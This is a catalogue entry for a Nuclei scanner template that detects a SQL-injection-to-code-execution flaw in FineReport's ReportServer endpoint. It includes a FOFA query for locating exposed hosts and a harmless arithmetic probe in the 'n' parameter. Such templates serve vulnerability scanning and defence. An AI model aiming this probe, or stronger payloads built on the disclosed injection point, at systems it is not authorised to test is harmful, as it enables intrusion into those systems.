finereport-sqli-rce: FineReport SQLi - Remote Code Execution
- Template: finereport-sqli-rce
- Name: FineReport SQLi - Remote Code Execution
- Description: Access URL:/webroot/decision/view/ReportServer?test=&n=, which can execute the SQL statement in GET parameter n. This vulnerability is caused by Fanruan's own sqlite-jdbc-x.x.x.x.jar driver.
- Severity: critical
- Authors: adeljck
- Tags: finereport, rce, sqli, vuln
- References: https://github.com/wy876/POC/blob/main/%E5%B8%86%E8%BD%AF%E7%B3%BB%E7%BB%9FReportServer%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%AF%BC%E8%87%B4RCE.md
- Verified: yes
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/finereport/finereport-sqli-rce.yaml
- Digest: 4a0a00473045022013dbf8f79338275175048d93ef7f04ec0241a28db29709b5f1aa241375632fb60221009edd8dd21a336cf7ae3d7a45ca7acbb502f924090cd53c8b28e32c9c105d12e6
- Created at: 2024-09-05T04:53:40Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 811
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/finereport/finereport-sqli-rce.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: app="帆软-FineReport"
- Max-request: 1
- Verified: yes
Labels
- Name: FineReport - SQL Injection
- Impact: Remote attackers can execute arbitrary SQL statements, potentially leading to remote code execution and full system compromise.
- Remediation: Update to the latest version of FineReport.
- Vulnerability type: sql_injection
- Vulnerability impact: data_tampering, remote_code_execution
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: finereport-sqli-rce
info:
name: FineReport SQLi - Remote Code Execution
author: adeljck
severity: critical
description: |
Access URL:/webroot/decision/view/ReportServer?test=&n=, which can execute the SQL statement in GET parameter n. This vulnerability is caused by Fanruan's own sqlite-jdbc-x.x.x.x.jar driver.
reference:
metadata:
max-request: 1
verified: true
fofa-query: app="帆软-FineReport"
tags: finereport,rce,sqli,vuln
variables:
string: '{{rand_base(8, "abc")}}'
http:
- raw:
- |
GET /webroot/decision/view/ReportServer?{{string}}=&n=${sum(1024,123)} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: word
part: location
words:
- 'report?{{string}}&n=1147'
- type: status
status:
- 200
- 302
digest: 4a0a00473045022013dbf8f79338275175048d93ef7f04ec0241a28db29709b5f1aa241375632fb60221009edd8dd21a336cf7ae3d7a45ca7acbb502f924090cd53c8b28e32c9c105d12e6:922c64590222798bb761d5b6d8e72950
```